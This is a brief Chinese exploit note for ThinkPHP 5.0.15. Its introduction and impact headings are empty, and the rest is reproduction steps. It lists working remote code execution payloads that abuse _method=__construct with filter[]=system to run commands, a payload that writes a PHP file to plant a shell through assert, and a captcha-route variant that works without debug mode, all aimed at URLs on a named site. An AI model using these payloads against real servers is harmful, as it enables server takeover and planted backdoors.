Thinkphp 5.0.15

一、漏洞简介

二、漏洞影响

三、复现过程

https://www.0-sec.org/?s=index/index

post

s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST

s=file_put_contents('zerosec.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

https://www.0-sec.org/?s=captcha/calc

POST 

_method=__construct&filter[]=system&method=GET